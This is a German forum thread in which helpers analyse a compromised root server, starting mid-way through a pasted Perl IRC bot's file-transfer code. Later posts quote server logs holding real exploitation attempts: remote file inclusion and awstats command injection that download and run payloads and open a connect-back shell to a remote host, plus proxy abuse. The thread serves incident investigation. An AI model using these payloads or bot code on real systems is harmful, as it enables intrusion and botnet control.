          read(SENDFILE, $send_bytes, 1024);
          print $fh "$send_bytes";
          close(SENDFILE);
     }
   }
}


sub SEND {
  my ($nick, $arquivo) = @_;
  unless (-r "$arquivo") {
    return(0);
  }

  my $dccark = $arquivo;
  $dccark =~ s/[.*\/](\S+)/$1/;

  my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  my $longip = unpack("N",inet_aton($meuip));

  my @filestat = stat($arquivo);
  my $size_total=$filestat[7];
  if ($size_total == 0) {
     return(0);
  }

  my ($porta, $sendsock);
  do {
    $porta = int rand(64511);
    $porta += 1024;
    $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  } until $sendsock;

  $DCC{$sendsock}{tipo} = 'send';
  $DCC{$sendsock}{nick} = $nick;
  $DCC{$sendsock}{bytes} = $size_total;
  $DCC{$sendsock}{arquivo} = $arquivo;


  &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");

}

sub GET {
  my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  return(0) if (-e "$arquivo");
  if (open(FILE, "> $arquivo")) {
     close FILE;
  } else {
    return(0);
  }

  my $dccip=fixaddr($dcclongip);
  return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  $dccsock->autoflush(1);
  $dcc_sel->add($dccsock);
  $DCC{$dccsock}{tipo} = 'get';
  $DCC{$dccsock}{itime} = time;
  $DCC{$dccsock}{nick} = $nick;
  $DCC{$dccsock}{bytes} = $bytes;
  $DCC{$dccsock}{curbyte} = 0;
  $DCC{$dccsock}{arquivo} = $arquivo;
  $DCC{$dccsock}{ip} = $dccip;
  $DCC{$dccsock}{porta} = $dccporta;
  $DCC{$dccsock}{status} = "Recebendo";
}

# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
  my $socket = shift;
  my $sock_tipo = $DCC{$socket}{tipo};
  unless (lc($sock_tipo) eq "chat") {
    my $nick = $DCC{$socket}{nick};
    my $arquivo = $DCC{$socket}{arquivo};
    my $itime = $DCC{$socket}{itime};
    my $ftime = time;
    my $status = $DCC{$socket}{status};
    $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});

    my $d_time = $ftime-$itime;

    my $cur_byte = $DCC{$socket}{curbyte};
    my $bytes_total =  $DCC{$socket}{bytes};

    my $rate = 0;
    $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
    my $porcen = ($cur_byte*100)/$bytes_total;

    my ($r_duv, $p_duv);
    if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
       $r_duv = $3; $r_duv++ if $4 >= 5;
       $rate = "$1\.$2"."$r_duv";
    }
    if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
       $p_duv = $3; $p_duv++ if $4 >= 5;
       $porcen = "$1\.$2"."$p_duv";
    }
    return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  }


  return(0);
}


# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
sub fixaddr {
    my ($address) = @_;

    chomp $address;     # just in case, sigh.
    if ($address =~ /^\d+$/) {
        return inet_ntoa(pack "N", $address);
    } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
        return $address;
    } elsif ($address =~ tr/a-zA-Z//) {                    # Whee! Obfuscation!
        return inet_ntoa(((gethostbyname($address))[4])[0]);
    } else {
        return;
    }
}


das sind die verursacher :
http://www.atrix-team.org


Kann leider nicht genug Spanisch, aber eins weiss ich: hingehören tut das nicht auf Deine Platte.
weiss nur noch nicht wie die das da raufbekommen haben.
Deinen root-Server hast Du doch immer schon upgedated (Server-Software + Sicherheitsupdates)?
Schau mal in deine alten logs nach dem Kürzel egg2 oder shb.txt oder shb1 oder shb
und schau mal nach ?id=http:// in der access-log
Eines steht wohl fest. Die Infektion muss schon eher passiert sein und der Lästling liegt mit Sicherheit noch auf der Platte.
MfG
jubilee





Musicman75

#10
awstats hab ich nicht installiert. Ich nutz den webalizer.
Serverupdates hab ich auch immer gemacht (über yast online update)

siehst du vielleicht auch, wo die das hingeladen haben oder kannst mir sagen, wie ich auf einfache weise den server danach durchsuchen kann, ohne in jedes einzelne verzeichnis zu müssen?

danke schon mal.

gruß
steff

PS: hab über find nach dem file gesucht, aber er findet es nicht mehr. denke mal es war im gothiconline webspace den ich komplett platt gemacht habe.
Unaufgeforderte Support PMs & Emails werden ignoriert

Immer erst die Boardsuche verwenden und gegebenenfalls einen neuen Threat eröffnen, wenn das Problem noch nicht behandelt wurde!

jubilee

check einmal

Zitatnetstat -pan | grep 6667
an der Konsole und schau mal was er Dir zeigt.

Mfg
jubilee

Musicman75

Unaufgeforderte Support PMs & Emails werden ignoriert

Immer erst die Boardsuche verwenden und gegebenenfalls einen neuen Threat eröffnen, wenn das Problem noch nicht behandelt wurde!

jubilee

und bei
Zitatnetstat -pan | grep 5000

Musicman75

Unaufgeforderte Support PMs & Emails werden ignoriert

Immer erst die Boardsuche verwenden und gegebenenfalls einen neuen Threat eröffnen, wenn das Problem noch nicht behandelt wurde!

jubilee

hmmmm ....
Dann such einmal nach der Datei

Zitatfind / shb.1

Kann aber etwas dauern .....


Musicman75

nichts gefunden. ich such grad mal auf meiner platte im sicherungsverzeichnis.
Unaufgeforderte Support PMs & Emails werden ignoriert

Immer erst die Boardsuche verwenden und gegebenenfalls einen neuen Threat eröffnen, wenn das Problem noch nicht behandelt wurde!

jubilee

Naja, Problem ist ja, das man nicht weiss was der Schlingel nach dem hochladen alles gemacht hat.
Kann ja den Dateinamen so abgeändert haben. Evt hat er es auch wieder zu shb.txt umbenannt ....
Kannst ja sonst auch nochmal danach suchen

Musicman75

hab jetzt mal nach *shb*.* gesucht, auch kein ergebnis

ist aber nicht weiter wichtig, da der server sowieso neu initialisiert wird.
mich würd vielmehr interessieren, wie die das gemacht haben
Unaufgeforderte Support PMs & Emails werden ignoriert

Immer erst die Boardsuche verwenden und gegebenenfalls einen neuen Threat eröffnen, wenn das Problem noch nicht behandelt wurde!

jubilee

Jo, das ist die Frage, muss aber schon früher passiert sein. Wenn das Teil erstmal draufliegt, ist eh zu spät.
Tu mir bitte noch einen gefallen.
Suche bitte mal nach Conntections die via shell gestartet wurden =

Zitatnetstat -pan |grep bash


Musicman75

wenn ich das so eingebe kommt auch nichts. sprint sofort wieder auf den prompt zurück.
Unaufgeforderte Support PMs & Emails werden ignoriert

Immer erst die Boardsuche verwenden und gegebenenfalls einen neuen Threat eröffnen, wenn das Problem noch nicht behandelt wurde!

jubilee

Hmmm ...
Gut, wenn Du noch hast, dann lasse mir die alten Logfiles (message, error-, access-log)
bitte zukommen. Wenn es geht, bis VOR dem ersten Abschalten des Servers.
Mal sehen, ob wir da etwas finden können.
MfG
jubilee

FrankP

Das Script ist ein IRC-Server, die IRC-Ports sind jedoch zu - ergo lag das halt da rum, hat ein bißchen Last gemacht und gut war. Kann durch viele Scripte z.B. bei einem Server mit safe_mode off in Kombination mit undefinierter open_basedir raufgekommen sein. Oft zu finden in den tmp-Verzeichnissen oder in /dev/shm. Eine ausgehende ddos ist dadurch aber eher nicht ausgelöst worden, ergo gibt es da noch was anderes.
Was ich nicht verstehe, ist die Aussage des Providers - entweder sie wissen es , dann können sie uns auch getroßt nicht dumm sterben lassen oder sie wissen es nicht
Webhosting für pragmaMx www.abundus.de
Wer Butter will soll Butter kaufen, statt stundenlang auf die Milch einzudreschen und sich zu wundern, warum nur Käse rauskommt.

jubilee

Hallo !
Zitatlassen oder sie wissen es nicht
Ich denke eher, das sie es nicht wissen ....

ZitatDas Script ist ein IRC-Server, die IRC-Ports sind jedoch zu
Die Ports die wir angenommen haben sind zu. Du siehst im Script aber, das der Kommunikationsport frei eingestellt werden kann. Das Schöne an den Script ist ja, das es sich selber meldet und in einem festgelegten IRC-Channel seinen Master kontaktiert. Die Variablenwerte datz holt er sich wieder von anderen Servern (getnick(), getname(), getident() )
Das Script selber ist allemal in der Lage einen DDOS auszuführen (wie Du im Unterprogramm attacker siehst)
Auch das kein Serverprozess von der Bash gestartet existiert, soll in diesem Moment noch nicht viel bedeuten.
Es ist eminent wichtig, das wir den Einschleusungspunkt definitiv festmachen können. ich vermute auch ein PHP-Script mit nicht korrekt überwachten/geprüften Variablen nach aussen.

MfG
jubilee



FrankP

Nun, das Script ist mir wohlbekannt und selbstverständlich ist es -  wie bei jedem Angriff - absolut unabdingbar, festzustellen, wie es eingeschleust werden konnte. Das Script wurde, soweit mit bekannt ist, bislang jedoch noch nie für eine ddos genutzt, deshalb halte ich es eher für unwahrscheinlich, dass dieses Script nun dafür verantwortlich sein sollte und vermute, dass auf dem Server noch wesentlich mehr kompromitiert wurde.

Ist denn überhaupt nachgewiesen, dass eine ausgehende ddos stattfand? Wer sagt das bzw. wo sind die die Belege? Ich muss mich etwas vorsichgtig ausdrücken - bei Servern mit hohem Inklusivtraffic bzw. Trafficflat liegt das Argument, der Server sei eine ddos-Schleuder, nur um ihn abschalten zu können, wenn er "zuviel" Traffic macht, geradezu auf der Hand.

Klar ist, der Server ist komprommitiert worden und der Angriffspunkt sollte gefunden werden. Sehr oft wir man jedoch vom offensichtlichen geblendet und sieht das versteckte nicht. Es ist schon fast (trauriger) Standard, dass bei den Billigroots so ein IRC-Server rumliegt und nicht viel anstellt, solange die Firewall ordentlich konfiguriert ist. Mal eben schnell den safe_mode abschalten, ohne das Umfeld anzupassen und schon gibt es dutzende, sonst "sichere" Scripte, über die man die Dinger uploaden kann.
Würde Provider xyz jeden Kunden, der so ein Ding auf seiner Kiste hat, abschalten, hätte er 30% weniger Kunden.
Webhosting für pragmaMx www.abundus.de
Wer Butter will soll Butter kaufen, statt stundenlang auf die Milch einzudreschen und sich zu wundern, warum nur Käse rauskommt.

jubilee

ZitatIst denn überhaupt nachgewiesen, dass eine ausgehende ddos stattfand?
Pffff. Das kann Dir nur der Musicman beantworten (wobei ich glaube, das er auch nicht viel mehr Info's bekommen hat)

Zitatund vermute, dass auf dem Server noch wesentlich mehr kompromitiert wurde.
Genau.
2 Sachen machen mich da stutzig.
A: Das Teil ist nicht auffindbar.
B: Das Teil scheint z. Zt. nicht aktiv zu sein.
Für mich ein Indiz dafür, das der Hacker auf ein anderes Tool umgestiegen ist,
welches jetzt die "Aufgaben" übernimmt.

MfG
jubilee

jubilee

#26
So
Schon einmal in die alten logfiles reingesehen.
Die haben gezielt nach schwachstellen gesucht :

209.250.116.251 - - [07/Jan/2006:01:39:39 +0100] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.16.85.15/cmd.gif?&cmd=cd%20/tmp;wget%20216.103.82.214/cback;chmod%20744%20cback;./cback%20217.160.242.90%208081;echo%20YYY;echo|  HTTP/1.1" 404 1046 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
209.250.116.251 - - [07/Jan/2006:01:39:40 +0100] "GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.16.85.15/cmd.gif?&cmd=cd%20/tmp;wget%20216.103.82.214/cback;chmod%20744%20cback;./cback%20217.160.242.90%208081;echo%20YYY;echo|  HTTP/1.1" 302 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
209.250.116.251 - - [07/Jan/2006:01:39:41 +0100] "GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.16.85.15/cmd.gif?&cmd=cd%20/tmp;wget%20216.103.82.214/cback;chmod%20744%20cback;./cback%20217.160.242.90%208081;echo%20YYY;echo|  HTTP/1.1" 404 1046 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
209.250.116.251 - - [07/Jan/2006:01:39:42 +0100] "GET /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.16.85.15/cmd.gif?&cmd=cd%20/tmp;wget%20216.103.82.214/cback;chmod%20744%20cback;./cback%20217.160.242.90%208081;echo%20YYY;echo|  HTTP/1.1" 404 1046 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
209.250.116.251 - - [07/Jan/2006:01:39:43 +0100] "POST /xmlrpc.php HTTP/1.1" 404 1046 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
209.250.116.251 - - [07/Jan/2006:01:39:44 +0100] "POST /drupal/xmlrpc.php HTTP/1.1" 404 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
209.250.116.251 - - [07/Jan/2006:01:39:45 +0100] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
209.250.116.251 - - [07/Jan/2006:01:39:46 +0100] "POST /wordpress/xmlrpc.php HTTP/1.1" 404 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"


Auch gezielt auf das Einfallstor awstats gesucht

68.122.17.241 - - [07/Jan/2006:13:33:49 +0100] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20212%2e159%2e69%2e87%2fkillos%3bchmod%20%2bx%20killos%3b%2e%2flisten;echo%20YYY;echo|  HTTP/1.1" 404 1046 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
68.122.17.241 - - [07/Jan/2006:13:33:53 +0100] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20212%2e159%2e69%2e87%2fkillos%3bchmod%20%2bx%20killos%3b%2e%2flisten;echo%20YYY;echo|  HTTP/1.1" 404 1046 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
68.122.17.241 - - [07/Jan/2006:13:33:59 +0100] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20212%2e159%2e69%2e87%2fkillos%3bchmod%20%2bx%20killos%3b%2e%2flisten;echo%20YYY;echo|  HTTP/1.1" 404 1046 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
68.122.17.241 - - [07/Jan/2006:13:34:03 +0100] "POST /xmlrpc.php HTTP/1.1" 404 1046 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"


wirklich nach allen möglichkeiten gesucht

212.20.64.136 - - [10/Jan/2006:20:39:48 +0100] "GET /admin/pma/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /admin/phpmyadmin/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /admin/mysql/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /phpmyadmin2/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /mysqladmin/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /mysql-admin/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /phpMyAdmin-2.5.6/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /phpMyAdmin-2.5.4/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /phpMyAdmin-2.5.1/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /phpMyAdmin-2.2.3/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /phpMyAdmin-2.2.6/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /myadmin/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /phpMyAdmin-2.6.0/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /phpMyAdmin-2.6.0-pl1/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /phpMyAdmin-2.6.3-pl1/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /phpMyAdmin-2.6.3/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /phpMyAdmin-2.6.3-rc1/main.php HTTP/1.0" 404 1046 "-" "-"
212.20.64.136 - - [10/Jan/2006:20:39:49 +0100] "GET /phpMyAdmin-2.6.2-rc1/main.php HTTP/1.0" 404 1046 "-" "-"

jubilee

#27
Stutzig macht mich das hier :
Zitat212.95.252.16 - - [12/Jan/2006:09:19:53 +0100] "GET /./user/index.php HTTP/1.0" 200 2931 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Warum bekommt er bei dieser Abfrage ein status 200
und hier auch
Zitat66.131.70.243 - - [15/Jan/2006:15:50:50 +0100] "GET /lostpwd.php HTTP/1.0" 200 2673 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

@Musikman: gab es am 12 Januar ein solches Verzeichnis eine solche Datei  bei Dir ?


jubilee

#28
Upsss ---->

193.163.220.4 - - [23/Jan/2006:00:41:26 +0100] "POST http://193.163.220.4:6667/ HTTP/1.0" 302 - "-" "-"
193.163.220.4 - - [23/Jan/2006:00:41:26 +0100] "CONNECT 193.163.220.4:6667 HTTP/1.0" 302 - "-" "-"
216.193.196.221 - - [23/Jan/2006:00:41:26 +0100] "CONNECT 216.193.223.223:4400 HTTP/1.0" 302 - "-" "-"
67.19.92.93 - - [23/Jan/2006:00:41:50 +0100] "POST http://127.0.0.1:6667/ HTTP/1.0" 302 - "-" "-"
67.19.92.93 - - [23/Jan/2006:00:41:50 +0100] "CONNECT 127.0.0.1:6667 HTTP/1.0" 302 - "-" "-"
64.237.42.52 - - [23/Jan/2006:00:42:03 +0100] "CONNECT 216.32.207.207:6665 HTTP/1.0" 302 - "-" "-"
64.237.42.52 - - [23/Jan/2006:00:42:03 +0100] "POST http://216.32.207.207:6665/ HTTP/1.0" 302 - "-" "-"
194.109.21.230 - - [23/Jan/2006:00:42:56 +0100] "POST http://194.109.153.5:6667/ HTTP/1.0" 302 - "-" "-"
194.109.21.230 - - [23/Jan/2006:00:42:56 +0100] "CONNECT 194.109.153.5:6667 HTTP/1.0" 302 - "-" "-"


dazu aus der gleichen Zeit das error-log

[Mon Jan 23 00:41:09 2006] [error] [client 84.138.38.44] File does not exist: /home/htdocs/web0/html/main/modules/Forum/Themes/theme2/images, referer: http://www.gothic-online.de/main/modules.php?name=Forum&topic=535.0
--00:41:14--  http://metawire.org/%7Ewolfinux/fsch
           => `fsch'
Resolving metawire.org... 216.147.196.26
Connecting to metawire.org|216.147.196.26|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 34,011 [text/plain]

    0K .......... .......... .......... ...                  100%   89.70 KB/s

00:41:15 (89.70 KB/s) - `fsch' saved [34,011/34,011]

php.cgi: no process killed
[Mon Jan 23 00:43:25 2006] [error] [client 84.138.38.44] File does not exist: /home/htdocs/web0/html/main/modules/Forum/Themes/theme2/images, referer: http://www.gothic-online.de/main/modules.php?name=Forum&topic=535.0


xinetd-log :

06/1/23@00:41:26: START: ftp from=193.163.220.4
06/1/23@00:41:26: START: ftp from=193.163.220.4
...
06/1/23@00:41:37: EXIT: ftp status=1 duration=11(sec)
06/1/23@00:41:37: EXIT: ftp status=1 duration=11(sec)


Nochmal am 30 Januar:

66.225.225.224 - - [30/Jan/2006:16:34:38 +0100] "CONNECT 194.109.153.2:6667 HTTP/1.0" 302 - "-" "-"
66.225.225.224 - - [30/Jan/2006:16:34:38 +0100] "POST http://194.109.153.2:6667/ HTTP/1.0" 302 - "-" "-"


eeror-log:

[client 80.171.152.44] script not found or unable to stat, referer: http://www.google.de/search?hl=de&cr=countryDE&q=hh1+orient+express&spell=1
--16:34:25--  http://buisn3ss.org/fsck
           => `fsck'
Resolving buisn3ss.org... 64.142.109.186
Connecting to buisn3ss.org|64.142.109.186|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 30,697 [text/plain]

    0K .......... .......... .........                       100%   58.77 KB/s

16:34:26 (58.77 KB/s) - `fsck' saved [30,697/30,697]

php.cgi: no process killed
[Mon Jan 30 16:40:49 2006] [error] [client 84.188.249.220] File does not exist: /home/htdocs/web0/html/main/images/members/BloodGothic.jpg, referer: http://www.hifi-forum.de/viewthread-53-272.html

Musicman75

#29
- das eine ddos attacke von meinem server ausging sind die infos von 1und1.
- hatte im januar einen tag mit 630GB traffic, habe aber auch nicht entdeckt woher der kommt und noch weitere ports gesperrt.

- lostpwd.php gehört zum confixx. Dort gibts auch /user/index.php - Allerdings läuft Confiss als https und nicht http.

Weder auf dem Server, noch in den Sicherungsdaten kann ich ne Datei finden mit fsch oder fsck
Unaufgeforderte Support PMs & Emails werden ignoriert

Immer erst die Boardsuche verwenden und gegebenenfalls einen neuen Threat eröffnen, wenn das Problem noch nicht behandelt wurde!

jubilee

ZitatWeder auf dem Server, noch in den Sicherungsdaten kann ich ne Datei finden mit fsch oder fsck
Mach Dir nix draus, der name wechselt regelmässig.

Zitathatte im januar einen tag mit 630GB traffic, habe aber auch nicht entdeckt woher der kommt
Jo, am 07.01 ist er auch ziemlich aktiv gewesen.

[Sat Jan 07 01:30:52 2006] [error] [client 84.171.102.21] File does not exist: /home/htdocs/web0/html/main/images/members/BloodGothic.jpg, referer: http://www.hifi-forum.de/viewthread-131-8-3.html
--01:45:07--  http://www.simple-hosting.biz/storm
           => `storm'
Resolving www.simple-hosting.biz... 66.97.161.61
Connecting to www.simple-hosting.biz|66.97.161.61|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 34,881 [text/plain]

    0K .......... .......... .......... ....                 100%   63.47 KB/s

01:45:08 (63.47 KB/s) - `storm' saved [34,881/34,881]

php.cgi: no process killed
[Sat Jan 07 02:05:50 2006] [error] [client 207.46.98.139] File does not exist: /home/htdocs/web10/html/robots.txt
...
[client 62.178.6.54] script not found or unable to stat, referer: http://www.google.at/search?q=lakonia+gothic&hl=de&lr=&start=10&sa=N
--23:03:11--  http://www.zerounix.net/.a./x.c
           => `x.c'
Resolving www.zerounix.net... 70.86.76.34
Connecting to www.zerounix.net|70.86.76.34|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 38,983 [text/plain]

    0K .......... .......... .......... ........             100%   95.87 KB/s

23:03:11 (95.87 KB/s) - `x.c' saved [38,983/38,983]

php.cgi: no process killed
--23:15:14--  http://www.zerounix.net/.a./x.c
           => `x.c'
Resolving www.zerounix.net... 70.86.76.34
Connecting to www.zerounix.net|70.86.76.34|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 38,983 [text/plain]

    0K .......... .......... .......... ........             100%   95.84 KB/s

23:15:15 (95.84 KB/s) - `x.c' saved [38,983/38,983]

php.cgi: no process killed
--23:16:54--  http://www.zerounix.net/.a./x.c
           => `x.c'
Resolving www.zerounix.net... 70.86.76.34
Connecting to www.zerounix.net|70.86.76.34|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 38,983 [text/plain]

    0K .......... .......... .......... ........             100%   96.11 KB/s

23:16:55 (96.11 KB/s) - `x.c' saved [38,983/38,983]

php.cgi: no process killed
[Sat Jan 07 23:21:08 2006] [error] [client 84.161.234.244] File does not exist: /home/htdocs/web0/html/main/modules/Forum/Themes/theme2/images, referer: http://www.gothic-online.de/main/modules.php?name=Forum&file=mxStyle&cstyle=theme2&mxstyle=GothicOnline-V5
[Sat Jan 07 23:21:08 2006] [error] [client 84.161.234.244] File does not exist: /home/htdocs/web0/html/main/modules/Forum/Themes/theme2/images, referer: http://www.gothic-online.de/main/modules.php?name=Forum&file=mxStyle&cstyle=theme2&mxstyle=GothicOnline-V5
[Sat Jan 07 23:21:21 2006] [error] [client 84.161.234.244] File does not exist: /home/htdocs/web0/html/main/modules/Forum/Themes/theme2/images, referer: http://www.gothic-online.de/main/modules.php?name=Forum&file=mxStyle&cstyle=theme2&mxstyle=GothicOnline-V5
[Sat Jan 07 23:21:36 2006] [error] [client 84.161.234.244] File does not exist: /home/htdocs/web0/html/main/modules/Forum/Themes/theme2/images, referer: http://www.gothic-online.de/main/modules.php?name=Forum&file=mxStyle&cstyle=theme2&mxstyle=GothicOnline-V5
[Sat Jan 07 23:25:37 2006] [error] [client 129.44.211.173] File does not exist: /home/htdocs/web0/html/main/themes/images, referer: http://www.gothic-online.de/main/modules.php?name=News&file=article&sid=71
[Sat Jan 07 23:27:43 2006] [error] [client 80.131.14.121] File does not exist: /home/htdocs/web0/html/main/modules/Forum/Themes/theme2/images, referer: http://www.gothic-online.de/main/modules.php?name=Forum
[Sat Jan 07 23:28:30 2006] [error] [client 80.131.14.121] File does not exist: /home/htdocs/web0/html/main/modules/Forum/Themes/theme2/images, referer: http://www.gothic-online.de/main/Forum.html
[Sat Jan 07 23:28:31 2006] [error] [client 80.131.14.121] File does not exist: /home/htdocs/web0/html/main/modules/Forum/Themes/theme2/images, referer: http://www.gothic-online.de/main/Forum.html
[Sat Jan 07 23:28:39 2006] [error] [client 80.131.14.121] File does not exist: /home/htdocs/web0/html/main/modules/Forum/Themes/theme2/images, referer: http://www.gothic-online.de/main/modules.php?name=Forum&topic=231.new
[Sat Jan 07 23:30:44 2006] [error] [client 200.151.137.121] File does not exist: /home/htdocs/web0/html/testcms, referer: http://www.google.de/search?hl=de&q=%22christian+nagel%22+abmahnung&btnG=Suche&meta=cr%3DcountryDE
--23:33:27--  http://www.zerounix.net/.a./x.c
           => `x.c'
Resolving www.zerounix.net... 70.86.76.34
Connecting to www.zerounix.net|70.86.76.34|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 38,983 [text/plain]

    0K .......... .......... .......... ........             100%   95.95 KB/s

23:33:27 (95.95 KB/s) - `x.c' saved [38,983/38,983]

php.cgi: no process killed

Letztendlich festgestellt WIE er das immer auf den Server gebracht hat, habe ich nicht.
Evt. hat er einen Weg gefunden
entweder seine Spuren zu löschen oder
er kommt über einen weg der nicht in dioesen Logfiles auftaucht.
MfG
jubilee

Musicman75

#31
Danke schön. Hast vielleicht ne Ahnung wie man sowas unterbinden kann?

Die 630 GB Traffic hatte ich am 17.1. - am 16.1. waren es 103 GB - am 23.1. 128 GB

Steht vielleicht an diesen Tagen noch was verwertbares drin?
Lohnt es sich mit diesen Logfiles ne Anzeige zu machen?
Unaufgeforderte Support PMs & Emails werden ignoriert

Immer erst die Boardsuche verwenden und gegebenenfalls einen neuen Threat eröffnen, wenn das Problem noch nicht behandelt wurde!